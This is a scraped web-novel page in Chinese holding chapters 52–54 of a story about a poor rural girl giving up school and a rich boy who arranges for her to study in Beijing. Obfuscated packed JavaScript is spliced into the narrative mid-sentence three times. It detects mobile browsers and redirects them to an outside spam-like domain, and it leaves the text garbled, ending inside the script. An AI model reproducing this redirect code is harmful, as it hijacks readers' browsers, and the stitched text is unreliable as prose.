把澡洗完,时间还有空余,他侧身躺在沙发上,拿着遥控器开始看电视。 许正康是七点整回来的,听到玄关处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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发泄完了怒火,许正康才一屁股坐在单人沙发上,颤抖着从西裤口袋里摸出打火机和烟,哆哆嗦嗦给自己点燃,猛吸一口,像瘾|君子终于尝到毒|品:“你以为这样就能把你老子搞垮?幼稚!”他冷笑一声,“你不中用了,有的是别人可以用。” 许思睿懒得搭理他困兽般的发言,只当他在虚张声势,谁知下一秒便听许正康说:“我打听过了,你之前参加的那档综艺,那个和你交换的小孩,他也中考完了,只要我能资助他来我们这上学,到时不愁没有媒体来报道。” “……” 许思睿不可思议地看向他,“你脑子有病?” 和综艺有关的事虽然仅仅发生在一年多以前,回想起来却恍若隔世,最开始听到综艺两个字时他还有些恍惚,直到听清许正康的话,恍惚才转为怒火,“为了你那破生意你是不是脸都不要了,把我妈害成那样还不够,你还想干嘛?!” 许正康手指里夹着烟,对他的谩骂充耳不闻,无所谓地笑道:“许思睿,你吃我的,用我的,连学业都要我给你兜底,老子想做什么,还轮不到你这种寄生虫来啰嗦,你要觉得不爽,就他妈自己滚出去赚钱。” 52. 被牺牲的那个 在盛夏午后连走五公里山路,对陈斌这种微胖体格来说不咎于一场酷刑。气喘吁吁到达祝家村,敲开祝婴宁家的门,他扶住门框,脱口而出的第一句话就是:“水……水,给我来碗水。” “啊呀,老师,您怎么亲自来了!”来开门的刘桂芳被他这副即将脱水身亡的模样唬了一跳,手忙脚乱递上满满一搪瓷碗的山泉水。 陈斌抢过水碗,站在门口,咕嘟咕嘟连灌一肚子水,这才用手背抹了抹嘴巴,摆手叹道:“嗳,刘大姐,我这次来家访,主要是想说说中考的事。” “是中考成绩出来了吗?”刘桂芳忙把陈斌让进家里。 他跨过门槛,正要踏进去,就见祝大山和老太太并排躺在炕上,屋子里弥散着一股浓浓的中药味。 “祝大哥还没好转呐?”将要踏进去的脚就这么顿住了,他转过头,压低声音询问刘桂芳。 刘桂芳脸上现出一种麻木的苦恼:“没呢,一直有在喂中药,可就是不醒,老师,你别介意,进屋子来坐,不打扰什么的。来,来,屋里有风扇。”她拖来落地风扇,将落地风扇对准竹席,又热情地招呼陈斌坐在竹席上。 陈斌这才脱了鞋,盘腿坐下,从裤兜里摸出皱巴巴的一页纸递给刘桂芳:“这是你家两个孩子的成绩,哦,对了,怎么没看到他们俩?” “祥儿去喂猪了,宁宁在镇上给餐馆打暑假工。”刘桂芳捏着成绩单,窘迫地笑道,“我们家这情况您也看到了,爹成了废人,孩子们不勤快点没办法,连日子都过不下去。”说完搓开手里的纸张,把纸拿远了,眯眼看了半天,说,“老师,我眼睛不成,也不大识字,您就直接告诉我我们家吉祥考了几分吧。” 陈斌把祝吉祥和祝婴宁的成绩都说了,刘桂芳连连点头:“照这意思,我们家吉祥能上县一中了?” “能,当然能。”他推了推鼻梁上滑腻的镜片。 这时恰好有只苍蝇停在竹席上,在上面交替搓着前腿和后腿,陈斌盯着看了一会儿,才慢悠悠启口,“婴宁也能,她考了我们学校第一,上县一中轻轻松松。” “唉——老师!”刘桂芳闻言,赶紧挥了挥手,一改方才恭顺的态度,略显不悦地说,“这件事您之前就说过了,我还是那个态度,不成,真的不成。” “现在国家都有助学金,我会尽量帮忙申请,婴宁读高中真的要不了几个钱……” “不是这个问题,老师,您不懂啊!”刘桂芳指着炕上昏迷的祝大山,“他们阿爸是个什么情形您也都看到了,这一年来,为了给他续命,我们家那点积蓄全都见底了,再不匀出个孩子去打工,我们全家都得喝西北风。我得在家里照顾我们家这口子和他老娘,我是腾不出手。家里两个孩子,要么全都出去打工,要么只能一个去打工一个去读书,靠打工的那个供着读书的那个,这件事我们家也是商量过的,我们家宁宁懂事,自个答应了去外头打工,老师,您就别再来动摇她的心思,别再来让我们为难了!” 陈斌急得抓耳挠腮:“刘大姐,我不是想让你们为难,我只是打心眼里觉得婴宁就这么放弃读书实在可惜,她成绩这么好,要是坚持读下去,将来饱管大有出息……” “别,别!老师,您别这样。我不知道她有多大出息,只希望我们家能平平淡淡把日子过好。”刘桂芳把成绩单塞回他手里,站起来,做出赶客的姿态,“您大热天专程来给我们通知成绩,我感谢您,但别的事咱就别多说了,好吗?” 陈斌架不住刘桂芳这副送客的姿态,只好从竹席上站起来,往外走了几步,一步一回头,不死心地说:“刘大姐,我还是希望你别那么早下结论,我再去给村支书那你们争取争取,也许能争取到国家的贷款,供你们度过难关呢,再苦不能苦孩子,再穷不能穷教育,是不是?欸欸,刘大姐……!” 他话说到一半,刘桂芳忽然推着他的背,强硬地把他往外“送”,陈斌哪是刘桂芳这种做惯庄稼活的人的对手,踉踉跄跄被她“送”到门外,后半段话还没来得及出口,祝婴宁家的门就在他眼前甩上了,害他吃了一鼻子灰。 陈斌只好挟着那张皱巴巴的成绩单,唉声叹气地往村子外去了。 ** 教职工宿舍里照样只有风扇没有空调,陈斌跋涉回了学校,一屁股坐在自己宿舍的地上,开了风扇对着自己的脸狂吹,路过的女老师瞧见了,笑道:“陈老师,你这样会着凉的。” 陈斌愁得脸都皱成了苦瓜,瞄了她一眼,没有说话。 女老师会意:“谈得不顺利?我就说她妈妈那副态度,不可能谈出什么结果的。” “唉,我觉得还是得申请个贷款,天下熙熙,皆为利来,天下攘攘……” “得了吧,陈老师,你就别掉书袋了,连我们的工资都拖欠了三个月没发,还贷款?谁贷给我们啊?”女老师蹙眉道,“我昨儿还听隔壁的黄老师说,他打算拿到工资就辞职不干了呢。” “啊?不能吧?” “哪不能啊,现在校长正在他屋里找他谈话呢。”女老师叹气道,“陈老师,有些事真不是努力了就能改变的,婴宁不能继续读书,我也感到可惜,可你打算拿什么法子去劝她妈妈?” 陈斌一时也说不上来,只能含糊道:“都说事不过三,也就是事情总得试上三次才知道结果,我打算过几天再去一趟,要还不行,我再放弃吧。” 女老师只好摇着头,唏嘘地离开了。 ** “啥呀,你爸……不对,许正康打算资助之前和你交换过的那个乡巴佬?” 孙明远正和许思睿窝在一家台球馆墙角的沙发上,吹着空调,手里拿着罐冰冻过的菠萝啤,闻言嘎嘎笑了两声,“这脑洞牛逼啊,也算无所不用其极了。” 许思睿脸色极差地蜷缩在角落里,将指间抽得只剩短短一截的香烟捻灭在菠萝啤的瓶罐上,一言不发。 孙明远看向他,有点纳闷地挠了挠头:“不过,你为啥这么生气?他爱作妖就让他去呗,那综艺都播完快一年了,热度早过了,晾他也折腾不出什么水花,估计后头看没效果又会把人送回去了,对你没啥影响啊。” 许思睿深深吸了一口气,脸色黑沉:“没影响?我们家公司出了那么大事儿,现在又转头去资助山区小孩,有点脑子的都能看出许正康这傻吊想借此炒作,他不要脸我还要脸。” “也是,是挺那什么的。”孙明远苦笑着耸了耸肩,深知许思睿对面子有着异乎寻常的执着,尤其是他们家出事以后,“那……他要真打算资助,你打算咋办?” “把家砸了。” “啊?你不是说你们家刚被许正康砸过吗?” “有影响?”许思睿冷冷地斜了他一眼。 “没……您高兴就好。”他举起双手做投降状,心里却默默想着许正康和许思睿真不愧是父子俩。不过这话可万万不能被许思睿听见,不然他能被他活活抽筋剥皮。 在台球馆浑浑噩噩鬼魂到晚上九点多,王晓倩打来电话催孙明远回家,孙明远接听完,对许思睿说:“许哥,我妈催了,我得回去了。” “回吧,我也走了。”许思睿把杆子归位,揉了揉僵麻的脖颈和脸颊。 要是有别的选择,他才不想回到家里和许正康面对面,他现在一看到许正康的脸就想吐。但已经叨扰了孙明远父母那么长时间,许思睿就是脸皮再厚,也不好意思继续在他们家当米虫,他低头按亮手机,划拉着通讯录,默默寻思着要不要再找几个别的哥们借宿。 他朋友很多,但知心朋友很少,就那么三四个,一个手掌都数得过来。许思睿不想让任何非知心好友得知他处境艰难,就算是知心好友,想到要把自己的困境向那么多人转述,他依然觉得透不过气。纠结了一会儿,他最终还是把手机熄灭了,揣在兜里慢吞吞朝家里走去。 许正康已经在家了,正在书房里和不知道谁打电话,许思睿在玄关处换完拖鞋,本想直接回自己房间,却见许正康喜气洋洋走出来,毫无眼力见地对他说:“我打听过了,那个叫祝吉祥的家里很困难,穷到快念不了书了,我现在资助他刚刚好。” “……你有完没完?!” 许思睿恶心得不行,他本想像按照孙明远说好的那样,气到再把家里打砸一通,但动手之前暂时还有个困惑,这个困惑稍微阻碍了他的怒火,让他没有第一时间动手——许正康说,祝婴宁家很穷……? 开什么玩笑,他走之前不都留了个手表给他们吗,难道刘桂芳把手表私吞了? 这个短暂的困惑造成了短暂的沉默,在沉默的当口,许正康继续说:“听说他爸在外头打工时出了意外,成了植物人,工地没有赔偿,医药费全是他们家自己掏的,现在家里一个劳动力都没有。许思睿,我知道你看我不爽,觉得你爸这辈子活该这样了,但我告诉你,我还没完!你瞧,连老天都站在我这边!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687027|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许思睿觉得许正康这番像是作战宣言的话完全属于魔怔了,是困兽走投无路的无能嘶吼,但他话里零星透露出来的几个片段还是让他怔了怔。 植物人?医药费? 哈…… 他本来以为给了那个手表,祝婴宁家再不济,也能供两个小孩原原本本念完大学,现在想来,真是可笑,“明天和意外不知道哪个先来”,这句话不仅适用于他家,也适用于她家么? 许思睿想着想着,倒真的冷笑起来。 他觉得没劲透了,一切都没劲透了。 “你笑什么?”许正康双目圆睁,于几步开外怒视着许思睿,如同一只被燎了胡须的敏感的老虎,“你觉得很好笑?许思睿,别忘了你有今天都是靠谁!” 许思睿不屑地扯着嘴角:“我有今天都是靠我妈,和你有个蛋的关系。” “许思睿!” 许正康怒得几乎要犯高血压,伸手扶住墙壁,隔着几米指着许思睿的鼻子,大喘气道,“行,我现在先不跟你这孽畜计较,但我告诉你,就算你不同意,这事儿我还是要办!” “行啊,那我也告诉你,就算你坚持要办,这事儿我也不同意。”他扯着嘴角阴狠地笑了笑,把脚上拖鞋踢掉,随意趿拉上球鞋,伸手拽过玄关柜子上的雨伞就朝外走。 这架势看起来像是要找谁拼命,许正康拧起眉,喝道:“你去哪?!” 许思睿已经走到了外头走廊上,闻言不仅没回头,也没答话。 “奶奶的……”许正康气得不行,又怕他真的干出什么惊天动地的大事,只好也赶紧换上鞋,三步并作两步追了上去。 ** 陈斌奉行着事不过三的原则,在几天后又找上了祝婴宁。 这次他没去祝婴宁家,而是直接去了她打工的餐馆。 是家大排档,他到那里的时候恰逢午餐过后——下午两三点,祝婴宁正坐在后厨的凳子上卖力洗碗,看到他来,她惊喜地瞪大眼睛,嘴角露出一个真心实意的笑:“陈老师!”她在身上脏兮兮的围兜上揩了揩手,本想站起来迎接他,转眸看到水桶里堆积着的没洗完的碗,起到一半的屁股又硬生生定住了,朝他尴尬笑笑,坐回去道,“老师,我这的碗还剩很多,你介意我边洗边跟你说话么?” “哦,没事没事,你坐着吧。”陈斌跟大排档老板打过招呼,自己也拖了个小板凳,在祝婴宁身边坐下来,看着她麻利搓碗的动作,问,“这活干得还习惯吗?” “挺习惯的。”她说,“老板也很好,没有克扣过工钱。” “哦……”陈斌就有点不知道说什么了。 两人相继陷入沉默,只有祝婴宁冲碗和放碗的声音乒乒乓乓响着。 不知过了多久,祝婴宁才没话找话道:“陈老师,你之前借我那本《红与黑》,我已经看完了,就放在那边那个架子上,喏。”她努了努嘴,示意了书的方向,笑道,“我本来还担心没空还给你,没想到你会来,这下好了,你走的时候可以把那本书一起带走。” “哦……”陈斌讷讷的。 他明明是个语文老师,此刻却像是丧失了所有语言能力,不知该说什么才能表达心情。又是一阵漫长的沉默,他才开口,选了最直白最无趣的方式,问:“真的不打算读书了吗?” 问完这句话,他把视线投到了祝婴宁洗碗的手上,毫无思绪且漫无边际地发起了呆。 午后蝉鸣喧嚣,她搓碗的动作像是顿了一瞬,又仿佛只是他的错觉,没过一会儿,哗啦啦的水声复又响起,将蝉鸣盖住,将盛夏盖住,将七月澄澈的蓝天盖住。她的手浸泡在泡沫里,如泡沫一般分解,消散,化成永恒的虚无。 很久以后——也可能仅仅只过了几秒,她才仰起头,弯起眉眼,微笑着,轻声说:“嗯,不读了。”话语中没有他预想的多余的感伤,唯有轻飘飘的平淡。 他试图从她的笑容里分辨出强颜欢笑的成分,哪怕只有两三分也好。他试图在她的眼神里寻找出矫饰的证据,以此证明这个决定出于逼迫,而非她的本意。他试图…… 他还试图干什么呢? 他最好的学生已经决定离开校园。 陈斌恍然惊觉自己这个探寻的举动有多残忍,无异于追问瘸腿的人为什么不上操场跑步,耳聋的人为什么不再奏响小提琴,失明的人为什么选用错误的颜料。他别开视线,长久凝视地板,不敢再看她澄明的眼睛。 53. 那通电话 “来了来了——谁啊?” 孙明远听到门铃声,伸着懒腰过去开门,结果门一拉开就看到许思睿握着把破破烂烂的直柄伞站在他家门口,嘴角还豁了道口子。 “卧槽,你这是打战去了?” 许思睿漫不经心嗯了一声:“我把张海生的办公室砸了。” “啊?卧槽。”孙明远眼都听直了。 张海生和许正康的关系就像孙明远和许思睿的关系,发小。但张海生这人歪心思多,许思睿家会出事,许正康当然占大头,可张海生这个爱搅屎的也难辞其咎。孙明远不是没想过许思睿迟早会找张海生干仗,但没想到干仗的时间会来这么早,看来许正康那个要拿祝吉祥炒作的馊主意确实把他气得不轻,他已经认定许正康会有这个念头一定是张海生从旁怂恿。 这都什么事跟什么事啊。 孙明远一个头两个大,但也只能先把许思睿让进来,问:“那你嘴巴又是怎么回事?姓张的打你了?” “许正康打的。” “他也真下得去手。” “他发起疯来有什么下不去手的?”许思睿抹了抹嘴角,“操了把椅子就要朝我头上抡,要不是姓张的拦着,我现在说不定已经进ICU了。” “……玩真的啊。” “所以我上你家躲躲,我要现在回家,真能被他拿刀捅死。” ** 陈斌走了以后,祝婴宁还在回忆着他留下来的最后一句话。 他将架子上那本《红与黑》夹在胳膊下,叹了口气,像是有千言万语想说,最后却只化为一句:“婴宁,老师还是希望你做个于连式的人。” 这话说得诚恳,细究来完全出于一位老师爱才惜才的私心,她却没法回应这份诚恳,因为她注定做不成于连式的人物,她做不到断情绝爱,做不到不择手段,恰恰相反,她也许一辈子都会被亲情绑架。 决定不再读书也并不是出于谁的言语逼迫,一切其实都发生得稀松平淡,甚至可以说寡淡。没有争吵,没有打架,也没有撕破脸,仅仅只是中考前的傍晚,全家坐在竹席上吃晚饭的时候,刘桂芳问了句:“中考完你们谁出去打工挣钱?” 然后—— 然后在一段令人窒息的漫长的沉默中,她感受到了刘桂芳落在自己身上的视线,以及祝吉祥看过来的目光。他们什么都没有说,他们仅仅只是用那种眼神看着她而已,她的喉咙却自发动了,轻声道:“我去吧。” 是的,毫无疑问,她没有被任何人的言语胁迫。 可是…… 她真的没有被胁迫吗? 视线,沉默,姐姐的人设,包括那些沉甸甸压在她肩上的亲情,无一例外都在变相地挟持她。 祝婴宁不敢细想,她怕一细想,就会得到一个残酷的真相,就会发现许思睿那天晚上在秘密山洞里说的话都是真的,就会发现自己从始至终都不在任何人的第一顺位上,就会发现自己的懂事似乎仅仅只是被规训的结果。 人生难得糊涂,要是真相那么残酷,她宁愿糊里糊涂地过。 ** 刘桂芳以为经历了上次家访赶人出门的事,陈斌应当不会再找上门了,陈斌本人也是这样想的。然而世事难料,去镇里见完祝婴宁,当晚他就接到了一个电话,是许正康打来的。 两天后,陈斌再度找上祝婴宁家。 这回祝婴宁和祝吉祥倒都在,刘桂芳看到他来,脸上的笑容显得异常僵硬,陈斌怕她直接赶人,只能隔了老远就拔高嗓门,连连道:“好消息!刘大姐,好消息!” 刘桂芳半信半疑地将他迎进家门:“陈老师,什么好消息?” “和你们家吉祥有关的好消息。”他一边说一边腆着笑脸伸手要水。 刘桂芳本来还将脸拉得驴长,一听他说带来的消息和祝吉祥有关,脸上阴霾才悉数散去,挂上副殷切的笑脸,端了一碗水给他:“什么好消息?您喝了水慢慢说。” 陈斌再度咕嘟咕嘟灌了一肚子水,拍了拍肚皮,道:“天大的好消息!刘大姐,你还记得吉祥之前参加的那个综艺吗?吉祥不是换去了许思睿家里吗,许思睿爸爸打来电话,说可以资助吉祥去城里上高中咧!” “什么!!真的啊?!老师,您没骗我吧!?这可不兴骗我啊?您说的是真的?!”刘桂芳当即尖叫起来,双手宛如铁铸,牢牢扼住陈斌的手腕,激动又急切地看着他,好像只要把他掐得够紧,就能拥有落到实地的实感。 陈斌疼得面目狰狞,暗暗使劲儿想将手抽出来,嘴上呵呵笑道:“当然是真的,我怎么可能拿这种事骗人,许思睿爸爸说可以资助吉祥去上私校,甚至资助到他大学毕业呢。” “祥儿!你听到了吗?”刘桂芳这才松开手,转而去攥祝吉祥的手腕,激动得就差飙下两行泪了。 陈斌给这对母子留下了平复情绪的空间,直到他俩不再执手相看泪眼,才笑眯眯地继续开口:“刘大姐,这下不仅吉祥的学业解决了,婴宁读书的事也解决了。” 被点到名的祝婴宁这才如梦初醒,愣愣地看向她。从听到许思睿的名字开始,她就陷入了做梦般的恍惚里,不知应该作何反应,心里唯一的想法是—— 又是他,又是许思睿。他们家又承了他的人情。 刘桂芳不太理解地摸了摸脸:“怎么了,他爸也同意资助我们宁宁吗?” “那倒不是,他爸爸只说要资助一个小孩,不过,资助代表着不用钱,刘大姐,你原先不是担心学费没着落,才选择让婴宁出去打工供吉祥读书吗?现在吉祥不需要学费了,这是天大的好事呀!这代表婴宁可以不用为学费操持了,可以去县一中读书了!” 这话在祝婴宁意料之外,他每多说几个字,她的眼瞳就亮起几分,如同被风吹亮的火种,然而,陈斌的话刚说完,空中就响起了刘桂芳的断喝:“不成!” 这下不仅陈斌愣住,祝婴宁也茫然地看了过去。 刘桂芳板起脸说:“陈老师,这您就不懂了,我们家吉祥的学业是有了着落,可我家这口子的药费咋办?还是得有人挣钱给他续命啊!哪有那么简单!”说着,她便转头瞥向祝婴宁,摇头道,“宁宁,你别怪妈狠心,你现在只需要安心考虑挣钱的事,别想那些有的没的。等你弟弟去城里读了书,考上大学,将来挣了大钱,你就能过好日子了。” 祝婴宁眼里刚刚燃起的光亮瞬间熄灭了,仿佛被人透透彻彻地浇了盆冷水,只剩下雾蒙蒙的一层黑。 陈斌一时怔住,想再为祝婴宁争取下,却发现自己哑口无言。刘桂芳的担忧不无道理,刨去祝吉祥读书的事,他们家还有祝大山的病需要操持。他接到电话时,满心以为这个降临于祝吉祥的好消息能顺带为祝婴宁来带来解放,可却只是妄想。现实就是——翻过一座山,前面等你的并不是大海,而是又一座山。 山叠着山,山长水远,前路漫漫。 ** 十几岁小孩的抗争极其有限。 许思睿在孙明远家躲了两天,回到自己家时,很快便得知了许正康打电话去山区的事,资助——或者说炒作祝吉祥这件事可以说是板上钉钉了。 他在自己房间里愣了很久,脑袋里空空的。 只有这种时候他才会尤其深刻地感受到自己的无能。许正康说得没错,他是只寄生虫,除了寄生,其他什么事都干不好。 晚上洗完澡,他躺在阳台的藤椅上,望着外头的夜景出神。 想喝酒吧,觉得没意思,想抽烟吧,也觉得没意思,想从这里跳下去,又觉得连跳楼的力气都没有。 不知道懵了多久,他才摸出手机,在网页上慢吞吞搜索起陈斌所在的那个山区学校的联系方式。 世界就像一个巨大的斗兽场,声色犬马,有人在斗兽场上被撕咬,被啃食,被吞食殆尽,有人于看台上高高挂起,以他人的血腥为自身的养料。许思睿不知道拿到斗兽场的入场券究竟是福是祸,可是,如果改变不了许正康拿别人炒作的念头,起码,最起码—— 他希望拿到这张血淋淋的入场券的人是她,而不是其他人。 ** 资助的事还有很多后续的事情要操办,包括去北京的日期和车票到站时间,都需要商议。这段时间陈斌充当了许正康和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692580|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘桂芳的传声筒,有事没事就往他们家跑,跑得都快对他们家的路形成肌肉记忆了。 祝婴宁已经接受了自己无论如何都得去打工的事实。她苦中作乐地发现,人一旦对自己的未来降低预期,眼前的困境也会随之变得没那么难以忍受了。最开始听到陈斌和祝吉祥商量去北京读书的事,她还会觉得低落,现在她已经能面不改色,甚至面带微笑地为祝吉祥收拾去北京的衣物,叮嘱他注意身体,学习之余也要劳逸结合。 一切都进行得井然有序。 直到有一天,陈斌来他们家时,神色显得有些模糊,结束了和刘桂芳祝吉祥的例行谈话后,他忽然对刘桂芳说:“刘大姐,我们学校需要在开学前赶个黑板报出来,我寻思了一下,这活也就婴宁能干,你今晚把她借给我一会儿,可以吗?我保证不耽误她明天去镇上打工。” 刘桂芳先是愣了愣,随即笑道:“应该的,老师!您这段日子帮了我们这么多,我都没好好感谢您哩,您尽管使唤她,不用客气。” 于是陈斌就这样带着祝婴宁走了,行走在去学校的山路上。 祝婴宁没想到自己还有机会再回到学校——虽然只是回去帮忙画黑板报,但她依然十分兴奋,乖乖跟在陈斌身后。 暮色笼罩群山,山路上蒸散出白天太阳晒过的热气,也许是快下雨了,天气闷似蒸笼,走在路上虽然觉得累,却发不出汗。 这感受并不好受,她用手掌当扇,在脸旁扇风。快到学校时,走在前边的陈斌忽然转过身,说:“婴宁,要是你和你弟弟只有一个能去城里,你会让谁去?” 她不解其意:“陈老师,这件事不都已经定下来了吗?” “我的意思是……如果没定下来呢?如果你有自由选择的机会,你会让谁去?” “那当然还是让祥弟去。”她没有停顿地答。 “为什么?” “因为我是姐姐嘛。”祝婴宁朝他笑了笑,“姐姐就是要让着弟弟的……哦,陈老师,我们到了。”她伸手指着校门。 校门近在眼前,陈斌领着她走进去,爬上教学楼的楼梯。祝婴宁轻车熟路跟在后头,正想往班级里走,陈斌却摇了摇头,示意她进办公室。 她跟过去,本来以为陈斌是想从办公室里取些新粉笔给她,却见他拿起座机的话筒,低头按出一串号码。 有时候,人对未发生的事有种奇妙的预感。 譬如此时此刻,看着陈斌拨打电话,她明明完全搞不懂接下来将要发生什么事,心脏却不受控制地狂跳起来,头脑眩晕,手脚发软。 电话接通以后,陈斌什么话都没说,只朝她招了招手,让她过来接听电话。她呆笨地挪动脚步,像愚公移山一样,把自己移过去,移到话筒前,软着胳膊接过重若千钧的话筒。 话筒那头静悄悄的,没人说话,安静到仿佛陈斌刚刚拨打电话的动作只是她的错觉。 可出于一种说不清道不明的直觉,她还是张了张口,轻声念出他的名字:“许思睿?” 他在那头轻轻嗯了一声。 虽然只相处了短短两三个月,不到一百天,在生命的横坐标上,他占据的比例少之又少,但他的声音传来那一秒,她还是无比清晰地意识到,这就是他。 确凿无疑,明白无误。 他没有进行啰嗦的寒暄,“嗯”声过后,他只说了两句话,就把电话挂了。 第一句话是—— “祝婴宁,你还会觉得不甘心吗?” 第二句话是—— “我希望来的人是你。” 话筒里传出忙音时,她还维持着握住话筒的姿势,表情空白。 后来,祝婴宁想,她会永远记住这一天。 在一个闷热到连出汗都嫌奢侈的夏夜,在她自己都已经放弃自己的时候,生平第一次,她被人选择了。 这个人啊,他到底算什么呢?说是同学,却只做了几个月的同学,说是朋友,却已经断联了几百天。 她想,也许他是她的贵人吧。 他简简单单的两句话犹如阿基米德的支点,从此撬动了她整个人生。 54. 绿皮火车 广播终于念到了祝婴宁即将搭乘的车次,陈斌把火车票塞到她手里,拍了拍她的行李——一个油腻的彩色蛇皮袋,说:“去吧,去检票吧。” 过年期间去接祝大山回家时,祝婴宁搭的是顺风面包车,因此严格来讲,今天她第一次坐火车,和火车有关的流程她一概不知,连票都是前几天陈斌特意跑了一趟火车站帮她买的。 学生票,便宜。 这个火车站很破,很小,检票口只有一个,都不需要辨认,跟着人流往前走就是了。 攥着车票排到队伍里后,祝婴宁回头看向陈斌。 这种离别的场合也许适合说一些煽情的话,但他俩对视着,却只感到词穷。直到队伍越来越短,即将轮到她时,陈斌才憋出一句:“好好学习,天天向上。” “我会的,陈老师!”她扬起手臂,朝他大力挥了挥。 “票,票!”工作人员不耐烦地用掺杂方言口音的普通话催促她。她这才收回手,把攥在手心里的火车票递过去,工作人员检票完毕,把票还给她,面无表情道:“1号站台。”随即用同样不耐烦的普通话催促队伍下一个人,“票!” 走进站台就意味着真的要分离了,祝婴宁又回了一次头,隔着印满指纹和掌印的玻璃,隔着一个个镌刻乡音的面容,最后一次看向陈斌。也许是考虑到送行应当正式的缘故,他穿了平时不常穿的衬衫和西裤——这毫无疑问是个错误的决策,因为今天的气温高达37℃,他那件白衬衫已经被汗濡湿成了透明衬衫,牢牢贴在身上,显出啤酒肚的轮廓,他脸上的圆框眼镜也顺着塌鼻梁上的油渍直往下滑。 这副形象和优雅相去甚远,唯一值得一句好评价的就是他脸上的笑,慈眉善目的笑,让他即使狼狈,也像尊狼狈的弥勒佛。 一股巨大的悲伤忽然从脚底涌现,贯彻她的身体。祝婴宁忽然意识到,被他教了这么多年,她好像从来没有了解过老师的人生。比如,他为什么要放弃繁华便利的都市生活来到山里支教? 她也不曾好好地感谢他。接听完许思睿的电话,当她怔怔地问出“陈老师,我真的可以吗”的时候,是他说“可以”,进一步坚定了她的决定,然后亲自上门向刘桂芳说明情况,替她分担了一部分刘桂芳的怒火。 陈斌转身向车站外走去,背影谈不上挺拔,也谈不上佝偻,他汇入人群,就像一滴水汇入无边无际的大海,平凡到难以辨认,无法激起任何朱自清式的联想。 人流同样推着她往前走,她只能再次挥舞着胳膊,千言万语汇成一句:“我会好好学习天天向上的,陈老师!我会好好学习的!” 哐啷哐啷的声音逼近,绿皮火车驶入站台,祝婴宁将身上的蛇皮袋往上颠了颠,按照车票上的座位不太熟练地寻找着车厢。 火车,这是她第一次坐火车。 长条形的火车宛如一只钢铁巨兽,将她吞进它的胃袋,胃袋里脚臭、汗臭和狐臭混杂,由闷热作为酵母,发酵出一股酸辣刺鼻的臭味。 她找到自己的座位——三人座的中间,越过一个身体壮实的大妈,勉强挤了进去。座椅上遍布各种不明的黄色污渍,还破了好几个小洞。 “哎哟!小妹,你这袋子得放行李架上啊,哪有往人脸上怼的!”大妈用手推开差点甩到自己脸上的蛇皮袋。 “对不起对不起,我没注意到。”祝婴宁赶紧举高袋子,学着其他人将蛇皮袋放到了头顶的架子上。 大妈很是健谈:“你自己一个人来坐车呀?” “嗯。”她在座位上坐下来,热得连呼吸都觉得不畅。 “你多大了?” “十五。” “那还很小啊!怎么父母没跟来?” 祝婴宁还没学会避而不谈的技能,她在这方面保持着山里孩子的质朴,虽然觉得这个问题勾起了她不好的回忆,但还是用一种质朴过头的诚实回答道:“我阿爸病了,阿妈在家照顾他。” “这样啊,那你是要去哪里,要干嘛去呀?” “我要去北京,去那里念书。” “呀!那挺好呀,挺好。”大妈从坐在她们前排的一个女人手中接过一个哭泣的婴儿,放在自己膝盖上,毫无顾忌地当众给婴儿换起尿布,一边换一边问,“那你上北京读书的钱哪来的啊?爸妈给的?兄弟姐妹给的?” 祝婴宁正要回答,坐在靠窗位置的一位年轻女性就用手背碰了碰她的膝盖,提醒道:“不要别人问什么你就答什么。” 她呆呆地“哦”了一声。 “啊呀,我这不是在和她聊天嘛,把人当什么了这是!”大妈看着像是有些不高兴,不过给孙子换完尿布后,又再度热络起来,凑到祝婴宁耳边,对她说,“你看你旁边这女的,一个女的纹什么身呐,一看就不是好人,妹子,我看你是个淳朴的,你可得离这种不学好的远点。” “……” 祝婴宁有些语塞,一时不知该接什么话该站什么队,只能弱弱地缩起肩膀。 在胳膊上纹满玫瑰的年轻女性闻言,朝天翻了个白眼,把手里的随声听连接好,戴上耳机望向窗外,只留给大妈一个硬邦邦的后脑勺。 祝婴宁就这样夹在她俩中间,一会儿好奇地用余光打量这个年轻姐姐握在手里的随声听,一会儿又转头看大妈用大大泡泡糖逗她的孙子。 火车发动,哐啷哐啷的声音响在她脚下,大敞的车窗外是倒退的铁轨和倒退的山色。直到这一刻,她才有了离开的实感。 大腿上和屁股上被刘桂芳打出来的鞭痕还隐隐作痛,这是她懂事后刘桂芳第一次打她,用藤条,扫把,鸡毛掸子,一切能够顺手摸到的东西。她没有反抗,也没有逃跑,只是默默站在原地承受。 虽然陈斌告诉她:“婴宁,你的选择是正确的,你不去北京,今后就不会再有读书的机会,而你弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 